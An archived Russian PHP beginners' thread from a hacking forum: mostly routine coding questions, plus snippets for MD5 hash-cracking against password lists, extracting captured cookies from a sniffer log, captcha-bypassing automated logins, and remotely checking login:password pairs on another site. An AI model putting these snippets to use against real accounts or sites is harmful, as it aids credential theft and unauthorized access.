Просмотр полной версии : [php] Новичкам: задаем вопросы
astrologer
16.05.2009, 19:48
Veteriuz,
if($year % 4 == 0)
{
}=/
Скрипт будет запускаться на локалке. Скрипт должен заходить на сайт, там залогиниться (www.site.ru/login.php?login.php?login=ABC&pass=XYZ). Всё. Как это сделать?
Скрипт будет запускаться на локалке. Скрипт должен заходить на сайт, там залогиниться (www.site.ru/login.php?login.php?login=ABC&pass=XYZ). Всё. Как это сделать?
Можно через cURL отправлять get, можно через заголовки, можно сокетами...
Напишите как это реализовать "через заголовки". Мне будет легче понять, если будет уже готовый код, а вам набросать всего-то пару строк :)
header('Location: http://site.ru/login.php?login=ABC&pass=XYZ');
file_get_contents('http://site.ru/login.php?login=ABC&pass=XYZ');
Доброй ночи, друзья...!!!
Имеется сайт, с которым необходимо проделать следующее:
1) Залогиниться (при этом надо ввести логин, пароль и капчу)
2) Из ХТМЛ кода вытащить один параметр...
Сделать это надо посредством ПХП скрипта. Планирую сделать так, чтобы при запуске этого скрипта появлялся запрос на введение логина, пароля и капчи, а всё остальное скрипт делал бы автоматически... Так вот пара вопросов:
1) Как получить в скрипт капчу..?!?
2) Как заставить работать скрипт со страницей, на которой я уже авторизовался, да и собственно как авторизоваться..!??!
Что-то подсказывает, касаемо вопроса №2, что придётся юзать курл, но может я не прав или есть другие варианты... Буду благодарен любым советам, линкам...
Как получить список директорий FTP сервера ? Вроде команда LIST должна это делать,но при использовании функции ftp_raw() я обломалсо:
FTP 425: Unable to build data connection: File name too long
Везде разные причины,а я так и не понял,в чём дело =_=.Может,кто подскажет ? Возникла такая проблемка: нужно залить .htaccess файл во все директории ниже корня сервера.Вот и...вот и )))
Pashkela
17.05.2009, 03:33
2 Велемир:
Есть именно в этой теме, надоело постить одно и тоже, поищи, не больше 50 стр назад
2 Fepsis:
скрипт авторизации на античате и проверки своих личных сообщений, например (всё уже было, ищите парни лучше):
<?php
$user = 'ваш логин на ачате';
$pass = md5('ваш пароль на ачате');
$cl = curl_init('http://forum.antichat.ru/login.php?vb_login_username='.$user.'&vb_login_password=&cookieuser=1&s=&do=login&forceredirect=1&vb_login_md5password='.$pass);
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://forum.antichat.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR, 'coockie.txt');
$ex = curl_exec($cl);
curl_close($cl);
$exec = curl_init('http://forum.antichat.ru/index.php');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($exec, CURLOPT_REFERER, 'http://forum.antichat.ru/');
curl_setopt($exec, CURLOPT_HEADER, 1);
curl_setopt($exec, CURLOPT_COOKIEFILE, 'coockie.txt');
$page = curl_exec($exec);
curl_close($exec);
preg_match('#<div class="bigusername">(.*)</div>#',$page,$username);
preg_match('#\(<b>(.*)<\/b>\/(.*)\)#',$page,$messg);
echo 'У пользователя <b>'.$username[1].'</b> '.$messg[0].' сообщений.';
?>
2 Fepsis:
скрипт авторизации на античате и проверки своих личных сообщений, например (всё уже было, ищите парни лучше):
Вот круто, спасибо.. А как быть с капчей..?!?
При авторизации у меня идёт такой запрос:
login.php?username=логин&password=пароль&code=капча
Сама капча генерируется скриптом image.php, как вывести именно "нужную" картинку.?! :confused:
Сори, если гдето уже было, внятного ответа не нашёл..
я уже писал план по такому вопросу.
сначала получаем хидеры, из них выдераем сессиюю капчи, затем выводим окно для ввода капчи,логина пасса, и картинку с image.php?session=выдранная_сессия
и затем отправляем.
Ага,если учесть скорость загрузки страниц моего крутого иеобразного браузера - ~ 10 секунд,а то и больше.Прикинь,сколько уйдёт на это времени?
ЗЫ: Я же не заставляю отвечать.Не ответят здесь - ответят где-нибудь ещё.Как я понимаю,форум для того и существует,чтобы получать ответы на интересующие вопросы.Или это не так ?С таким же успехом я могу обрыть весь гугл и забить вообще на форумы.50 страниц... тут какие-то смешные инжекты обсуждают на каждой странице.
Как из строки убрать всё, кроме цифр?
на входе имеем "^&9d02"y7,--2" а на выходе должно быть "90272"
причём внутри этого ^&9d02"y7,--2 как видите, могут быть и кавычки.
.Sylar $str = '%^&678#^sj&1)("13';
echo preg_replace('~[^\d]+~','',$str);
Pashkela
17.05.2009, 19:19
<?
$a = 'орпорпргоп2';
if (is_numeric ($a)) echo 'ok';
else echo 'Error';
?>
<?php
set_time_limit(0);
$user = '.Sylar';
$password = 'sdfgb';
$Receiver="fimi68";
$text="";
$t=date("U");
$cl = curl_init('http://www.site.ru/login.php?login='.$user.'&pass='.$password);
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://www.site.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR, 'coofkie.txt');
$ex = curl_exec($cl);
curl_close($cl);
$f="pic.txt"; $f=fopen($f,'r');
$k='0';
$al='0';
$i='0';
while($str=fgets($f,1024))
{
$str=ereg_replace(' ','%20',$str);
$arr[$k]=$str;
$k=$k+1;
}
fclose($f);
while ($k!=0)
{
$fin[$al]=$arr[$k];
$k=$k-1;
$al=$al+1;
}
while ($al>$i)
{
$text=$fin[$al];
$exec = curl_init('http://www.site.ru/send.php?key='.$Receiver.'&amount=1&tag='.$text.'&sign=6ab695062f49b58945f561d9bbf830f0');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($exec, CURLOPT_REFERER, 'http://www.site.ru/');
curl_setopt($exec, CURLOPT_HEADER, 1);
curl_setopt($exec, CURLOPT_COOKIEFILE, 'coofkie.txt');
$al=$al-1;
$page = curl_exec($exec);
curl_close($exec);
//echo($text.'<br>');
}
$t=time()-$t; print "Время: ".$t." секунд.";
?>
Почему у меня в $text пердаётся НИЧЕГО ?
mailbrush
17.05.2009, 22:54
Быдлокод...
спасибо конечно за коммент, но можно всё же на вопрос поставленный ответить?
Имеется пара массивов.Нужно замутить полный перебор элементов обоих:
$passes= array();
$hashes = array();
пробовал мутить двойной foreach(),но получил только меганагрузку в ответ)):
foreach($passes as $p) {
foreach($hashes as $s) {
if(md5($p) == $s) {
fwrite($fp2,"$s:$p\r\n");
} } }
Или конструкция левая,или проц)
Или конструкция левая,или проц)
Или у тебя там мегамассивы
я уже писал план по такому вопросу.
сначала получаем хидеры, из них выдераем сессиюю капчи, затем выводим окно для ввода капчи,логина пасса, и картинку с image.php?session=выдранная_сессия
и затем отправляем.
Извините, если туплю... :rolleyes:
Хидеры это что-то типо этого..?!?
HTTP/1.1 200 OK Date: Sun, 17 May 2009 21:56:10 GMT Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8 X-Powered-By: PHP/5.2.8 Set-Cookie: PHPSESSID=6e7801e6c2d3d3bfd373657ad79daedd; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 7082 Content-Type: text/html
Тут только PHPSESSID
Вариант:
image.php?session=6e7801e6c2d3d3bfd373657ad79daedd
не катит (каждый раз новая картинка появляется...)
Вообще как можно определить идентификатор той или иной картинки капчи..?!?
Вот пример картинки капчи с мейл.ру:
http://win.mail.ru/cgi-bin/x_image?73911456&num=1&x_reg_id=zWSKV4PI
для каждой картинки уникальный адрес... В моём же случае все картинки капчи имеют один и тот же адрес
http://сайт.ком/image.php?
Как быть..?!? :(
тебе выдали идентификатор сессии 6e7801e6c2d3d3bfd373657ad79daedd
ты по нему получешь картинку с изображением 2+3
в ответ сервер ждет от тебя 5, и в сессию уже записывается другое значение чтобы генерить капчу. каждый раз будет генерироваться новая картинка. это как презервативы с одной коробки, коробка одна а изделия каждый раз новые.
советую сходить на сайт http://www.captcha.ru/
и слить там KCAPTCHA для ознакомления алгоритма генерации капчей, довольно наглядно
ANTIJABBER
18.05.2009, 10:07
Привет всем.
Вопрос такой... нужно запустить внешнюю программу в Windows из PHP.
делаю так:
<?
exec ("start name.bat");
?>
Оно запускается... процесс появляется... а программы не видно. (Запуск от имени system)
Как сделать так, что бы запустилась программа в виндовс и ее было видно =)?
Имеется пара массивов.Нужно замутить полный перебор элементов обоих:
$passes= array();
$hashes = array();
пробовал мутить двойной foreach(),но получил только меганагрузку в ответ)):
foreach($passes as $p) {
foreach($hashes as $s) {
if(md5($p) == $s) {
fwrite($fp2,"$s:$p\r\n");
} } }
Или конструкция левая,или проц)
for($i = 0; $i < count($hashes); $i++) {
if(md5($passes[$i]) == $hashes[$i]) fwrite($fp2,"$s:$p\r\n");
}
2Fepsis
Это номер сессии, по нему сервер определяет, что это именно ты и в твою сессию записывает переменную, которая необходима для проверки капчи, ты не можешь её перехваить.
2Fepsis
Это номер сессии, по нему сервер определяет, что это именно ты и в твою сессию записывает переменную, которая необходима для проверки капчи, ты не можешь её перехваить.
Тоесть вариантов нет..??!
Может всё-токи кто-нибудь знает как можно сделать... :(
А возможно авторизоваться на самом сайте вручную, а потом загнать эту страницу в скрипт уже в авторизованном виде..?!?
не катит (каждый раз новая картинка появляется...)
Тоесть вариантов нет..??!
Может всё-токи кто-нибудь знает как можно сделать...
Конечно будет новая появляться, ты ж новую запрашиваешь, так что все ок, отправляй ответ и все должно быть нормально. Только куки сохраняй и все.
ANTIJABBER
18.05.2009, 16:47
Привет всем.
Вопрос такой... нужно запустить внешнюю программу в Windows из PHP.
делаю так:
<?
exec ("start name.bat");
?>
Оно запускается... процесс появляется... а программы не видно. (Запуск от имени system)
Как сделать так, что бы запустилась программа в виндовс и ее было видно =)?
Помогитеее(((( :(
BiG_][aKeR
18.05.2009, 16:51
Вот такой вопрос. Вопшем есть в переменной много текста (лог сниффера), нужно скопировать в один массив всё что находиться между:
"query";s:***:" и ";
Где *** там каждый раз другое значение...
Помогите такое сделать,походу же регулярка это нужна
[aKeR']Вот такой вопрос. Вопшем есть в переменной много текста (лог сниффера), нужно скопировать в один массив всё что находиться между:
"query";s:***:" и ";
Где *** там каждый раз другое значение...
Помогите такое сделать,походу же регулярка это нужна
Примерно так:
preg_match_all('|"query";s:.{3}:".+";|',$content,$result);
Примерно так:
preg_match_all('|"query";s:.{3}:".+";|',$content,$result);
пограмотней вот так наверно будет.
preg_match_all('|"query";s:(.*){3}:".+";|',$content,$result);
BiG_][aKeR
18.05.2009, 18:12
Ru}{eeZ,неидёт по следуйшим причинам:
1.Он копирует то и s:***:",хотя мне нужно только содержимое между ними.
2. Он конец "; не роспознает,и копирует кучу мусора есчё,как будто и не указано что где.
3.Мне нужно чтобы каждый фрагмент скопированый был в новой части массива,а не всё в одной,пример:
Есле с етой регуляркой что выше то при выводе:
print($result[0][0]);
он выдаёт всё сразу что скопировал,а должно быть так:
print($result[0][0]); - выдаёт первую строчку что нашёл и скопировал
print($result[0][1]); - выдаёт вторую строчку
print($result[0][2]); - третью
и т.д...
пограмотней вот так наверно будет.
preg_match_all('|"query";s:(.*){3}:".+";|',$content,$result);
preg_match_all('|"query\";s:(.*){3}:\"(.*)\";|',$content,$result);
BiG_][aKeR
18.05.2009, 18:28
m0Hze,и все до единого исправления как и от оригенала результат то же самый,апсолютно... прочти пост выше ^^^
BiG_][aKeR
18.05.2009, 18:44
Вопшем оформил следуйшим образом:
preg_match_all('|"query\";s:(.*){3}:\"(.*)\";|',$content,$result);
$result=$result[0][0];
preg_match_all('#"query";s:(.*?)";s:#is',$result,$result);
$result = $result[0][0];
preg_match_all('#:"(.*?)";s:#is',$result,$result);
$result = $result[1][0];
во второй регулярке меняя:
$result = $result[0][0];
на следуйшюю цыфру,переходил на следуйший кук...вопшем думаю проблем исчерпана,хотя очень желательно было бы ето сделать одной регуляркой...
Всем привет, тока начал разбираться в PHP и вот, не могу понять причину ошибки!
код:
<HTML>
<HEAD></HEAD>
<BODY>
<form action="param.php" method="GET">
Имя пользователя: <input name="UserName">
</form>
<?php
print("Iamanidiot<p>");
if ($HTTP_GET_VARS["UserName"]<>"")
{
print("<P> Ваше имя пользователя");
print($HTTP_GET_VARS["$UserName"]);
}
?>
</BODY>
<HTML>
Строчка print($HTTP_GET_VARS["$UserName"]); категорически отказывается работать! Какгбе в чем причина?777
Знак $ из квадратных скобок убери
убрал. Все равно не работае... :D
Cruo юзай print($_GET['UserName']);
$HTTP_GET_VARS не работае какгбе
$_GET работае. Все, проблему решил.
2Cruo
<input type = "submit"> вставь и сотри action, ты же в тот же скрипт отсылаешь
по правилам <input name="UserName"> замени на <input type = "text" name="UserName">
плюс, используй $_GET вместо $HTTP_GET_VARS, $HTTP_GET_VARS - устаревший вариант, от него возможно откажутся
п.с. сори, не обновлял страницу и не видел ответы
mailbrush
19.05.2009, 00:04
<HTML>
<HEAD></HEAD>
<BODY>
<form action="param.php" method="GET">
Имя пользователя: <input name="UserName">
</form>
<?php
echo "Iamanidiot<p>";
if (!empty($_GET["UserName"]))
{
echo "<P> Ваше имя пользователя ".$_GET["UserName"];
}
?>
</BODY>
<HTML>
AdmSmsTel
19.05.2009, 02:42
Помогите на писать статистику
Cегодня новых зарегино:
Всего участников зарегино:
Показали сегодня баннеров:
Кликов сегодня по баннеру:
Всего показали баннеров:
Всего кликов по баннеру:
скачать базу mysql здесь http://slil.ru/27669577
Спасибо за помощь!:)
Дяди! как сделать "полотенце"???
выводится 25 юзеров на страницу, но ведь можно их либо по 1000 на страницу сделать либо вообще всех на одной расположить.
подскажите.
вот ресурс: http://www.drive2.ru/users/?country=RU&city=&page=last=
вообщем задача просто имена пользователей собрать, кто готов помочь за $ стучитесь 10242782 один
задача просто имена пользователей собрать
пиши в раздел "О Работе".
..
тебе нужен парсер
<?
$f = file_get_contents(http://www.drive2.ru/users/?country=RU&page=1);
preg_match_all(/'<a href="/users/(.+?)/" id="userHrefNickname" class="url fn nickname">.+?</a>/',$f,$m);
foreach($m as $u){ print $u."\n"; }
Как вывести на php REMOTE_ADDR ? т.е. ип ? :)
<?php
$ip="REMOTE_ADDR";
echo $ip //не понимаю , как задать переменную :(
?>
Как вывести на php REMOTE_ADDR ? т.е. ип ? :)
<?php
$ip=getenv("REMOTE_ADDR");
echo $ip;
?>
Как вывести на php REMOTE_ADDR ? т.е. ип ? :)
echo $ip //не понимаю , как задать переменную :(
echo "IP: " .$_SERVER['REMOTE_ADDR'];
Подскажите компилятор удобный :) а то блокнот надоел :(
не помню как называется... но под нём ещё шаблончики можно делать (=
DVD_RW, пхп не компилируемый язык, возможно тебе нужен редактор исходного кода.
если нужно что то простое то notepad++ если что то получше то phpdesinger а если совсем хорошая ide то net beans
Не то это ... я помню он весит 300-350 метров :)
а вот не пробовал там писать что то ... ещё эта тулза ставится когда устанавливаешь win ZVER DVD ... точно помню :) кто то должен знать :(
Подскажите компилятор удобный :) а то блокнот надоел :(
Roadsend PHP Compiler 2.9.0 – компилятор PHP
Roadsend PHP Compiler - производит оптимизированные приложения, библиотеки, и Веб приложения из стандартного исходного кода PHP. Компилятор производит машинный код, а не PHP байт код, т.е. интерпретатор не требуется.
То есть вы загоняете исходный код в php-компилятор, а на выходе получаете exe-приложение, которое можно запустить на любом компьютере.
Есть возможность написания на php как консольных приложений, так и приложений под винду.
Размер: 20 MB
http://depositfiles.com/files/4451770
____
так же тут посмотри http://www.softsoft.ru/search/594283/index.htm
AdmSmsTel
19.05.2009, 16:11
Помогите на писать статистику
Cегодня новых зарегино:
Всего участников зарегино:
Показали сегодня баннеров:
Кликов сегодня по баннеру:
Всего показали баннеров:
Всего кликов по баннеру:
скачать базу mysql здесь http://slil.ru/27669577
Спасибо за помощь!
Помочь или за тебя написать, разные вещи. Помочь не вопрос, написать за тебя - плати $
если были лавэ не просил понятно!
кому не трудно будет поможет и не будет просить деньги нe всё за деньги всегда можно делать :rolleyes:
Парни, гляньте пожалуйста код:
<?php
echo'
<form method="POST">
<input type="text" name="username" value="">
<br>
<input type="password" name="password" value="" /><br>
<input type="text" name="code" value=""/><br>
<img src="http://сайт/image.php?" /><br>
<input name="go" type="submit" value="Enter" /><br>
</form>
';
if(isset($_POST['go']))
{
$cl =
curl_init('http://сайт/login.php?username='.$_POST['username'].'&password='.$_POST['password'].'&code='.$_POST['code']);
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://сайт/login.php?r=');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$ex = curl_exec($cl);
curl_close($cl);
$exec = curl_init('http://сайт/members.php');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($exec, CURLOPT_REFERER, 'http://сайт/login.php');
curl_setopt($exec, CURLOPT_HEADER, 1);
curl_setopt($exec, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$page = curl_exec($exec);
curl_close($exec);
echo $page;
}
?>
Никак авторизоваться не получается... Такое чувство, что данные username, password и code не передаются на сервак...
Более того, такое чувство, что они не передаются даже когда в строку адреса забиваю
http://сайт/login.php?username=имя&password=пасс&code=код от балды
так как в результате попадаю на обычную страницу авторизации.. А я полагаю должна вылезать страница с надписью "неверный код подтверждения" как при попытке авторизоваться с невернозаполненным полем code...
Запрос правильный.. Проверяс сниффером...
Может быть сервер как-то просекает, что я не через форму авторизации пытаюсь залогиниться..??! Никто с таким не сталкивался..?!? Как быть..??! :(
или жа:
$ip = $_SERVER['REMOTE_ADDR'];
из curl_init() убери все до login.php
создай
$post = 'username='.$_POST['username'].'&password='.$_POST['password'].'&code='.$_POST['code']';
curl_setopt($exec, CURLOPT_POSTFIELDS , $post);
Я вот так ещё делал :)
echo"getenv("remote_addr")";
извините , если боян
Pashkela
19.05.2009, 16:36
Я вот так ещё делал :)
echo"getenv("remote_addr")";
извините , если боян
Двойные кавычки в двойных кавычках == это врядли
Да еще и функцию туда же занес
и опять я застрял дело вот в чем:
есть структура index.php?mod=1 инклудит файл 1.php (типа модуль), но тут не задача в этом 1.php нужно отправить и получить еще одни GET данные например 1.php?id=11 , как это правильно сформировать 1.php работает ток через индекс
значение id я получаю уже в самом 1.php
?
bxN5 $_GET - суперглобальный массив
index.php?mod=1&id=11 Это если 1.php инклудится, а не хитро извращается
не работает в таком виде
обычно инклудится , только перед инклудом проверочка стоит для не хороших людей
if (!isset($mod) || ($mod=="") || (!file_exists ("mods/$mod.php"))
а вот в таком виде index.php?mod=1&id=11 скрипт тупо игнорирует &id=11
bxN5 Не используйте register_globals.
Для примера, файл one.php
<?
echo 'Before include: <hr>';
if (isset($_GET['mod'])) include 'two.php';
echo '<hr>After include';
?>
Файл two.php:
<?
echo '<h1>id = '.$_GET['id'].'</h1>';
?>
При обращении к http://localhost/one.php?mod=1&id=1234567 Выводится все правильно
З.Ы, ваш код уязвим к локальному инклуду
спс
а насчет инклуда в курсе )
Снова не могу найти ошибку ^^. Задача перенести переменную в другой сценарий.
вот код первого сценария:
<?php
if (session_start())
{
echo("Session started");
}
$user=$UserName;
session_register("user");
if (isset($_GET["UserName"]))
{
echo "<P> Ваше имя пользователя:";
echo $_GET["UserName"];
}
?>
<html>
<head></head>
<body>
<form action="session.php" method="GET">
Имя пользователя: <input type="text" name="UserName">
<input type="submit" name="sub" value="Go">
</form>
<a href="session1.php">link</a>
</body>
</html>
во втором сценарии
<?php
session_start();
echo $user;
?>
-=lebed=-
19.05.2009, 22:31
$user - объяви глобальной или в сессию запиши.
session_register("user"); - это разве не оно?
-=lebed=-
19.05.2009, 22:56
session_register("user"); - это разве не оно?
session_register - регистрирует одну или более переменных в текущей сессии.
Просто тупо присвой значение массиву и не парься:
$_SESSION['user']=$user и юзай его где тебе нужно.
из curl_init() убери все до login.php
создай
$post = 'username='.$_POST['username'].'&password='.$_POST['password'].'&code='.$_POST['code']';
curl_setopt($exec, CURLOPT_POSTFIELDS , $post);
Чёто тоже не катит..((
делаю так:
<?php
echo'
<form method="POST">
<input type="text" name="username" value="">
<br>
<input type="password" name="password" value="" /><br>
<input type="text" name="code" value=""/><br>
<img src="http://сайт/image.php?" /><br>
<input name="go" type="submit" value="Enter" /><br>
</form>
';
$post = 'username='.$_POST["username"].'&password='.$_POST["password"].'&code='.$_POST["code"];
if(isset($_POST['go']))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://сайт/login.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, "http://сайт");
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_close($ch);
echo $result;
}
?>
Пробовал куки сохранять перед выводом капчи, а потом их вызавать.. Тоже безрезультатно..
Может ещё что посоветуете..?!?
Вообще может на сайте стоять какая-нить защита от подобного рода авторизаций или просто я что-то не так делаю.. :confused:
$url = 'http://ya.ru';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result = curl_exec($ch);
curl_close($ch);
zannussi
20.05.2009, 11:06
Ребята, вопрос не простой!
Есть 2 сайта: мой и чужей (последний с авторизацией). Каким образом через мой сайт отправить пост запрос на чужей, чтоб потом у себя проанализировать правильность логин:пасс?
Подозреваю, что гет-запросы режутся, т.к. не проходит:
1)
http://site.com/login.asp?name=name&pass=pass
тоже самае что и
http://site.com/login.asp
при авторизации 2 поля, нет хиден полей, логи:пасс верны.
2)
<?
$name="name";
$pass="pass";
$file=file_get_contents('http://site.com/login.asp?name='.$_POST['name'].'&pass='.$_POST['pass']');
echo "
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">
<html>
<head>
<title>Тест коннекта</title>
</head>
<body>
"?>
<? echo "<H3>$file</H3>";
echo'</body> </html> ';
?>
тоже не проканала
и даже
3)
<?php
$auth_data = "name=name&pass=pass";
$auth_data_len = strlen($auth_data);
$header = "POST http://site.com/login.asp HTTP/1.0\r\n";
$header .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$header .= "Referer: http://site.com\r\n";
$header .= "Accept-Language: uk\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Proxy-Connection: Keep-Alive\r\n";
$header .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$header .= "Host: site.com\r\n";
$header .= "Content-Length: ".$auth_data_len."\r\n";
$header .= "Pragma: no-cache\r\n\r\n";
$header .= $auth_data;
$sckt = fsockopen("site.com",80);
fputs($sckt,$header);
while(!feof($sckt))
{
$serv_answer = fgets($sckt,2048);
echo $serv_answer;
}
?>
Ошибки обработайте
$sckt = fsockopen("site.com", 80, $errno, $errstr, 30);
if (!$sckt) {
echo "$errstr ($errno)<br />\n";
Скорее всего, на вашем хостинге запрещены сокеты
zannussi
20.05.2009, 11:42
2krypt3r, но страница открыавется как и вслучае http://site.com/login.asp
Одно дело браузером открывать со своего домашнего компа, другое дело пробовать обратиться к тому же линку программно с хостинга, где, возможно, нет поддержки сокетов
zannussi
20.05.2009, 14:09
2krypt3r, каким образом это сделать?
Вот что вернул мне сайт, где я прохожу авторизацию через свой сайт
HTTP/1.1 200 OK
Connection: close
Date: Wed, 20 May 2009 10:06:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 11251
Content-Type: text/html
Expires: Wed, 20 May 2009 10:06:35 GMT
Set-Cookie: ASPSESSIONIDACARCQDT=CMHFGDOBHAMMLMLGFHGGGHEH; path=/
Cache-control: private
и дальше
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/ht тра тата
2 Вопроса :)
как шифровать к примеру как то что вроде такого:
$base64=base64_encode(base64_encode(base64_encode( $text)));
echo $base64;//Как подобное сделать?
И ещё на счёт MD5
Как шифровать в md5 ?
$md5=md5($text);
echo $md5;
//не помогает :(
Подскажите :(
$md5=md5($text);
echo $md5;
//не помогает :(
У тебя особый пхп или руки видимо... У меня почему то все ок
php -r '$text = 123; $md5 = md5($text); echo $md5;'
202cb962ac59075b964b07152d234b70
•†•SyTiNeR•†•
20.05.2009, 15:54
$base64=base64_encode(base64_encode(base64_encode( $text)));
echo $base64;//Как подобное сделать?
<?
$str=base64_encode('text');
echo$str;
?>
И ещё на счёт MD5
Как шифровать в md5 ?
$md5=md5($text);
echo $md5;
//не помогает :(
Подскажите :(
<?
$str=md5('text');
echo$str;
?>
как записать строчку в конец последней строки в ТХТ
$str="меня надо дописать в конец последней строки";
$f2=fopen("222.txt","a+");
fseek($f2, 1, SEEK_END);
fwrite($f2,$str);
fclose($f2);
так пробовал но не получается
Dark_Lord
20.05.2009, 20:25
fseek($f2, 1, SEEK_END);
Зачем?
Без него все прекрасно пашет
$str = "Text";
$log = fopen("file.txt","a+");
fwrite($log,"$str\n");
fclose($log);
так не получается, смотри есть словарь.тхт в виде
аббат = м. 1. abbot; 2. (во Франции) abbe; ~иса ж. abbess;~ство с. abbey.
абзац = м. 1. (отступ в начале строки) indention; с (нового)
~a indent; (new)
paragraph; 2. (часть текста) paragraph.
абитуриент = м. , ~ка ж. university entrant, candidate for university/college
надо его отформатировать, слово = и перевод без лишних enterov
т.е в данном примере поднять ~a indent; (new) paragraph; 2. (часть текста) paragraph. в предыдущую строку. что бы определять кого надо поднимать , просто надо сверять если в строке не встречается символ "=" значить надо текст перенести в конец предыдущей строки
вместо
fseek($f2, 1, SEEK_END);
попробуй
fseek($f2, -1, SEEK_END);
куда все ПХП злодеи делись , кто подскажет ответ на #10654 пост :(
ну в общем чтото вроде,только доделать нужно,я совсем непонимаю ничего сейчас(
$text = file('./file.txt');
for ($i = 0; $i < count($text); $i++) {
if (strpos($text[$i],"=")) {
$result .= $text[$i];
echo $result;
}else{
$result .= str_replace("\n","",$result[$i-1]);
}
}
echo $result;
Доделайте сами,я уже сплю одним глазом,
не совсем , то , он не обрезает, в строках где нету "=" оне не переносит веерх ,но все равно спс за помошь, ставлю тебе + :) спокойной ночи
да он будет работать, просто времеени нет,кинул то что наскреб за минуту,какбе набросок.Я бы сделал по такой схеме.Завтра есличто сделаю
Какой функцией можно обрезать знаки после определенного символа? Например:
email@mail.ru, функция урезает все символы после @.
Какой функцией можно обрезать знаки после определенного символа? Например:
email@mail.ru, функция урезает все символы после @.
echo strstr($email, ord("@")) ;
function cuter($str,$deter)
{
return substr($str,0,strpos($str,$deter));
}
echo cuter("email@mail.ru","@");
George767
21.05.2009, 07:01
Есть скрипт, в один из массивов которого вносятся данные следующим образом:
$sz = array("10 0", "20 0", "30 10", "30 20", "20 30", "10 30", "0 20", "0 10", "10 0");
тоесть оба числовых значения в одной записи разделены пробелом всего-лишь.
Так как я беру эти значения из бд, нужно внести данные в массив как-то по-другому. Перепробывал массу вариаций присваивания, но ничего не выходит - например во время цикла выборки значений из бд присваивал так: $sz[]=$xx;
Подскажите в чем дело пожалуйста, как внести данные вида array("10 0", "20 0", "30 10", "30 20", "20 30", "10 30", "0 20", "0 10", "10 0") в этот массив во время выборки их из бд.
не понял в чем вопрос, и проблему тоже, вроде в массиве все в SRING сохраняет и ему все равно пробел там или число.
как я понял ты берешь из БД две значения обединяешь их пробелом и заносишь в ону ячейку массива , тогда делай та
$str=$bd1.' '.$bd2;
а потом это значение заноси в массив
George767
21.05.2009, 09:12
не понял в чем вопрос, и проблему тоже, вроде в массиве все в SRING сохраняет и ему все равно пробел там или число.
как я понял ты берешь из БД две значения обединяешь их пробелом и заносишь в ону ячейку массива , тогда делай та
$str=$bd1.' '.$bd2;
а потом это значение заноси в массив
Как объеденить это понятно. Вопрос в том, как внести в массив.
$mas[$i]=$str;
вот так, в i-тую ячейку массива будет заноситься $str
есть ли бдля воблы модули "соединения" с другими движками (типа единой авторизации).
если нету то для каких форумов/движков есть?
на данный момент задача : dle+vbulletin
•†•SyTiNeR•†•
21.05.2009, 11:05
